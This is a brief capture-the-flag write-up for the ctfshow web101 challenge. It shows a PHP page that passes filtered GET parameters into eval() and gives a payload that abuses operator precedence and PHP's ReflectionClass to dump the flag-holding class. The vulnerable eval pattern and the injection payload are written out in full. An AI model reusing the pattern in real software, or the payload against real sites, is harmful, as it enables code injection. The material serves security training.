ctfshow web101（php内置类反射类Reflectionclass的使用）

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?>

payload如下：

?v1=1&v2=echo new Reflectionclass&v3=;